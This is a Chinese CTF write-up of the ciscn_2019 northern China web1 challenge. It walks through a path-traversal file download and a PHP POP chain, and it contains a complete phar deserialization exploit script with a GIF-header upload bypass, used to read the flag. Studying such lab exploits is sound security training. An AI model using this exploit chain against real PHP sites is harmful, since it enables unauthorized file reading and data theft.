CTF ciscn_2019_web_northern_china_day1_web1复现
ciscn_2019_web_northern_china_day1_web1
复现,环境源于CTFTraining
分析
拿到题目扫描,发现没有什么有用资产
扫描过程中注册账号登录,发现上传入口
上传文件,发现下载删除行为,寻找功能点,发现不能访问uploads(扫出来的
访问上传的文件会定位回index.php
下载,发现能下载,前端源码并没有可以攻击的点,抓包
filename可以控制,很明显的钩子
下载download.php,发现不能直接下载,开始穿越目录,到第二层时成功
源码
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {Header("Content-type: application/octet-stream");Header("Content-Disposition: attachment; filename=" . basename($filename));echo $file->close();
} else {echo "File not exist";
}
?>
下载class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file);$this->results[$file->name()] = array();}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {return basename($this->filename);}public function size() {$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {return file_get_contents($this->filename);}
}
?>
还有index.php (但是好像没什么用
发现文件读取函数file_get_contents()
所以我们肯定是需要用到这个File->close()
来获得flag
注意:任意文件下载漏洞过滤了flag
😞
先找利用链到 => file_get_contents()
Files
中的results
会被输出,在执行__call
魔术方法时会把调用func
的输出存储在result
中- 为了调用
__call
我们需要调用一个FileList
没有的方法 User
在销毁时会对成员db
调用close
总结出POP链:User:db->__destruct:db:close->FileList:__call->File:__close->file_get_contents()
下一步,找到利用的方法
CTF中PHP的类的问题一般与序列化有关,查找相关资料,发现phar的反序列化攻击漏洞
https://paper.seebug.org/680/
https://xz.aliyun.com/t/2715?u_atoken=32c59ca9934f4d8f741fb56c6cd1090b&u_asig=0a47314717273488256545069e003d
关键点在于文件操作函数,伪协议未过滤
由于此问中没有unserial
函数而uploads.php
中调用了File->open
函数,open
函数调用了file_exits()
所以时可以利用phar反序列化 通过魔术方法攻击
还有一个点,怎么调用 ➡️ 传参时用phpr://
执行
执行
<?php
/*参考公布的资料
* 这题没限制文件类型
*/
class User {public $db;
}class FileList {private $files;private $results;private $funcs;public function __construct() {$file = new File();$file->filename = '/flag.txt';$this->files = array($file);$this->results = array();$this->funcs = array();}
}class File {public $filename;
}ini_set('phar.readonly',0);@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
// 通过user -> filelist -> file:__destruct
$o = new User();
$o->db = new FileList();$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "ctftest"); //添加要压缩的文件
//签名自动计算$phar->stopBuffering();
?>
php exp.php
报错phar.readonly
kali上更改php.ini配置:
先查看php.ini
文件的位置 php -r 'phpinfo();'
(在前几行
sudo grep -n 'phar.readonly' /etc/php/8.1/cli/php.ini
确定行数
sudo vim /etc/php/8.1/cli/php.ini
修改;phar.readonly=On
为 phar.readonly=Off
(分号是注释的意思
再执行,获得phar.phar
上传发现有个验证gif\jpeg
,增加前缀修改后缀,上传,em。。。就很难绷
还有个功能点没看delete
(用之前的任意文件下载
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {$file->detele();Header("Content-type: application/json");$response = array("success" => true, "error" => "");echo json_encode($response);
} else {Header("Content-type: application/json");$response = array("success" => false, "error" => "File not exist");echo json_encode($response);
}
?>
ok,传参filename
,用伪协议把phar
执行了,然后发现flag
回显了
Final
所以为啥我upload
传filename
不行呢?
因为ini_set("open_basedir", getcwd() . ":/etc:/tmp");
phar
执行时不能访问/uploads/phar.gif
😭
知识加一 ~
__call操作详解
-
array_push($this->funcs, $func);
- 将传入的不存在的方法名
$func
推入当前对象的$funcs
数组中。这可能是为了记录所有被调用但实际上不存在的方法名称,以便后续处理或分析。
- 将传入的不存在的方法名
-
foreach ($this->files as $file)
- 遍历当前对象的
$files
属性,假设$files
是一个包含多个对象的数组。
- 遍历当前对象的
-
$this->results[$file->name()][$func] = $file->$func();
- 对于每个遍历到的
$file
对象,获取其名称作为键,将不存在的方法名$func
作为内层键,然后调用$file
对象上的这个不存在的方法,并将返回值存储在$this->results
数组中。
- 对于每个遍历到的
exp详解
-
ini_set('phar.readonly',0);
- 这行代码将 PHP 的配置项
phar.readonly
设置为0
,表示允许创建和修改 Phar 文件。默认情况下,这个配置可能是设置为只读以提高安全性。
- 这行代码将 PHP 的配置项
-
@unlink("phar.phar");
- 尝试删除名为
phar.phar
的文件。使用@
符号抑制可能出现的错误消息。这一步可能是为了确保在创建新的 Phar 文件时不会出现同名文件冲突。
- 尝试删除名为
-
$phar = new Phar("phar.phar"); //后缀名必须为 phar
- 创建一个新的 Phar 对象,并指定文件名
phar.phar
。Phar 文件是一种将多个文件和资源打包到一个单独文件中的归档格式,在 PHP 中可以方便地进行分发和部署。
- 创建一个新的 Phar 对象,并指定文件名
-
$phar->startBuffering();
- 启动缓冲模式。在缓冲模式下,可以对 Phar 文件进行一系列的操作,而这些操作不会立即写入磁盘,直到调用
stopBuffering()
方法。
- 启动缓冲模式。在缓冲模式下,可以对 Phar 文件进行一系列的操作,而这些操作不会立即写入磁盘,直到调用
-
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置 stub
- 设置 Phar 文件的 stub。Stub 是在 Phar 文件被执行时首先被执行的代码。这里的 stub 只是一个简单的
__HALT_COMPILER();
语句,它会停止 PHP 编译器的执行,通常用于确保 Phar 文件的完整性和安全性。 $phar->setStub("GF89a<?php __HALT_COMPILER();?>");//设置 GIF头绕过
- 设置 Phar 文件的 stub。Stub 是在 Phar 文件被执行时首先被执行的代码。这里的 stub 只是一个简单的
-
$o = new User();
和$o->db = new FileList();
- 创建一个
User
对象,并为其属性db
分配一个新的FileList
对象。这可能是为了将自定义的对象作为元数据存储在 Phar 文件中。
- 创建一个
-
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest
- 将前面创建的
$o
对象作为元数据存储在 Phar 文件的 manifest 中。元数据可以包含关于 Phar 文件的各种信息,例如版本号、作者、依赖关系等。在这个例子中,自定义的User
对象及其属性可能包含特定于应用程序的信息。
- 将前面创建的
-
$phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件
- 向 Phar 文件中添加一个名为
exp.txt
的文件,内容为"glzjin"
。可以使用addFromString
方法添加字符串内容作为文件,也可以使用其他方法添加实际的文件路径或资源。
- 向 Phar 文件中添加一个名为
-
$phar->stopBuffering();
- 停止缓冲模式,并将缓冲中的内容写入 Phar 文件。这一步确保所有的操作都被保存到磁盘上的 Phar 文件中。
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);
ini_set("open_basedir", getcwd(). ":/etc:/tmp");
ini_set()
函数用于在运行时设置 PHP 配置项的值。在这里,它设置了open_basedir
配置项。getcwd()
函数返回当前工作目录的路径。这个路径与:/etc:/tmp
一起组成了允许 PHP 脚本访问的文件系统路径列表。
设置open_basedir
有以下几个主要作用:
- 增强安全性:通过限制 PHP 脚本只能访问特定的目录,可以防止恶意脚本访问敏感的系统文件或其他不应该被访问的区域。例如,防止脚本访问系统的关键配置文件或其他用户的文件。
- 提高稳定性:限制文件系统访问范围可以减少由于脚本错误或恶意行为导致的文件系统损坏或数据泄露的风险。
- 优化性能:在某些情况下,限制访问范围可以减少文件系统的搜索时间,提高脚本的执行效率。
Thanks to LLM : )
相关文章:

CTF ciscn_2019_web_northern_china_day1_web1复现
ciscn_2019_web_northern_china_day1_web1 复现,环境源于CTFTraining 分析 拿到题目扫描,发现没有什么有用资产 扫描过程中注册账号登录,发现上传入口 上传文件,发现下载删除行为,寻找功能点,发现不能访问…...
docker命令汇总
Docker 是一个开源的应用容器引擎,它允许开发者打包应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。 以下是一些常用的 Docker 命令…...
云计算在现代企业中的应用与优势
云计算在现代企业中的应用与优势 随着信息技术的飞速发展,云计算已经成为现代企业不可或缺的一部分。作为一种创新的计算模式,云计算为企业提供了前所未有的灵活性和可扩展性,极大地推动了企业的数字化转型。 一、云计算的基本概念 云计算…...

Android平台GB28181实时回传流程和技术实现
规范解读 GB28181 中的 “INVITE” 是会话初始协议(SIP)中的一种请求方法,主要用于邀请一个或多个参与者加入特定的会话。在 GB28181 标准中,“INVITE” 请求通常用于发起媒体流的传输请求。当一个设备想要接收来自另一个设备的媒…...

Text-to-SQL方法研究
有关Text-to-SQL实现细节,可以查阅我的另一篇文章text-to-sql将自然语言转换为数据库查询语句 1、面临的挑战 自然语言问题往往包含复杂的语言结构,如嵌套语句、倒装句和省略等,很难准确映射到SQL查询上。此外,自然语言本身就存在歧义,一个问题可能有多种解读。消除…...
【Router】路由功能之MAC地址过滤(MAC Filter)功能介绍及实现
MAC地址过滤(MAC Filter) MAC 地址过滤是一种网络安全技术,通过在网络设备(如路由器)上设置规则,允许或阻止特定 MAC 地址的设备连接到网络。其主要作用是增强网络的安全性,防止未经授权的设备接入网络。 MAC Filter工作原理 MAC 地址过滤的工作原理是根据设备…...
Flink 本地 idea 调试开启 WebUI
Flink 本地 idea 调试开启 WebUI Maven 引用相关的包配置端口使用本地带UI环境启动 // maven 导入<!-- flink运行时的webUI --><dependency><groupId>org.apache.flink</groupId><artifactId>flink-runtime-web</artifactId><version…...
如何识别IP地址是独享的还是共享的
在网络环境中,IP地址的分配和使用方式直接影响到用户的在线隐私和访问安全。选择独享IP还是共享IP取决于用户的具体需求,理解这两种IP地址的差异及其特点至关重要。本文将探讨如何区分独享IP和共享IP,以及各自的优缺点。 1. 什么是独享IP与共…...
X-Spreadsheet使用教程:打造你的Web端电子表格应用
在Web开发中,经常需要处理数据表格的展示与编辑,而X-Spreadsheet作为一款轻量级、功能强大的JavaScript电子表格库,为开发者提供了一个便捷的解决方案。本文将详细介绍如何使用X-Spreadsheet在Web项目中创建和配置电子表格,让你的…...

订餐点餐|订餐系统基于java的订餐点餐系统小程序设计与实现(源码+数据库+文档)
订餐点餐系统小程序 目录 基于java的订餐点餐系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布…...

Tkinter制作登录界面以及登陆后页面切换(一)
Tkinter制作登录界面以及登陆后页面切换(一) 前言序言1. 由来2. 思路3. 项目结构描述4. 项目实战1. 登录界面实现(代码)2. 首页界面实现(代码)3. 打包build.py(与main.py同级目录)4.…...

Colorful/七彩虹将星X17 AT 23 英特尔13代处理器 Win11原厂OEM系统 带COLORFUL一键还原
安装完毕自带原厂驱动和预装软件以及一键恢复功能,自动重建COLORFUL RECOVERY功能,恢复到新机开箱状态。 【格式】:iso 【系统类型】:Windows11 原厂系统下载网址:http://www.bioxt.cn 注意:安装系统会…...
《Ubuntu20.04环境下的ROS进阶学习8》
一、中断和定时器中断 在ROS中我们经常会遇到要使用中断函数的情况,中断函数的触发方式有很多种,比如检测到某个引脚的电平变化,或某个数据达到了一定的范围,但最实用的中断触发方式还是定时器中断。 二、编写ROS的中断代码 ros中…...
ubuntu24.04 怎么调整swap分区的大小,调整为16G
在Ubuntu中,swap分区的大小通常建议为物理内存的1到2倍,具体取决于你的使用需求和系统内存。例如,如果你有8GB内存,swap可以设置为8GB到16GB。swap的主要作用是当物理内存不足时,提供额外的虚拟内存,帮助防…...

【论文阅读】视觉里程计攻击
Adversary is on the Road: Attacks on Visual SLAM using Unnoticeable Adversarial Patch 一、视觉SLAM的不安全因素 根据论文的分析,视觉SLAM由于完全依赖于特征,缺少验证机制导致算法不安全。前端在受到干扰的情况下,会导致误匹配增加&…...
解决 Git LFS 切换分支失败问题
场景描述 在本地已有分支 A 的情况下,目前工作在分支 B。当尝试从 B 分支切回 A 分支时,由于 A 分支存在 LFS 上传的大文件,导致切换失败。这个问题通常是因为某些 LFS 文件在服务器上不存在或没有权限访问。 报错日志 切换分支时遇到的错…...
BaoStock 的安装
安装 pip3 install baostock使用这个库登录免费帐户时有时候会出现登录失败的问题 import baostock as bs # 登录系统 lg bs.login() # 登出系统 bs.logout()login failed! logout failed!可能是由于高版本的python需要验证ssl,本地将其设置为可信服务器地址可以…...

聚势启新 智向未来 | 重庆华阳通用科技有限公司揭牌成立
助推两江新区汽车产业高质量发展 (以下文字内容转载自两江新区网) 9月26日,重庆华阳通用科技有限公司(华阳通用重庆子公司)在两江新区揭牌成立,将致力于智能座舱、智能驾驶两大领域,不断加大技术研发投入…...

【数据结构与算法】Z算法(扩展KMP)(C++和Python写法)
Z算法(扩展KMP) 文章目录 Z算法(扩展KMP)朴素求法线性求法力扣类型题变种题:[3303. 第一个几乎相等子字符串的下标](https://leetcode.cn/problems/find-the-occurrence-of-first-almost-equal-substring/) 所谓Z算法&…...

免费语音转文字软件全览:开启高效记录新时代
在当今快节奏的信息时代,高效地处理和记录信息变得至关重要。语音转文字技术的出现,为我们带来了极大的便利,今天,就让我们一同探讨这些语音转文字免费的软件的使用方法。 1.365在线转文字 链接直达:https://www.pdf…...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

vscode(仍待补充)
写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh? debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...

Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...

云原生玩法三问:构建自定义开发环境
云原生玩法三问:构建自定义开发环境 引言 临时运维一个古董项目,无文档,无环境,无交接人,俗称三无。 运行设备的环境老,本地环境版本高,ssh不过去。正好最近对 腾讯出品的云原生 cnb 感兴趣&…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
Java编程之桥接模式
定义 桥接模式(Bridge Pattern)属于结构型设计模式,它的核心意图是将抽象部分与实现部分分离,使它们可以独立地变化。这种模式通过组合关系来替代继承关系,从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...

【C++进阶篇】智能指针
C内存管理终极指南:智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...
jmeter聚合报告中参数详解
sample、average、min、max、90%line、95%line,99%line、Error错误率、吞吐量Thoughput、KB/sec每秒传输的数据量 sample(样本数) 表示测试中发送的请求数量,即测试执行了多少次请求。 单位,以个或者次数表示。 示例:…...
6️⃣Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙
Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙 一、前言:离区块链还有多远? 区块链听起来可能遥不可及,似乎是只有密码学专家和资深工程师才能涉足的领域。但事实上,构建一个区块链的核心并不复杂,尤其当你已经掌握了一门系统编程语言,比如 Go。 要真正理解区…...
TJCTF 2025
还以为是天津的。这个比较容易,虽然绕了点弯,可还是把CP AK了,不过我会的别人也会,还是没啥名次。记录一下吧。 Crypto bacon-bits with open(flag.txt) as f: flag f.read().strip() with open(text.txt) as t: text t.read…...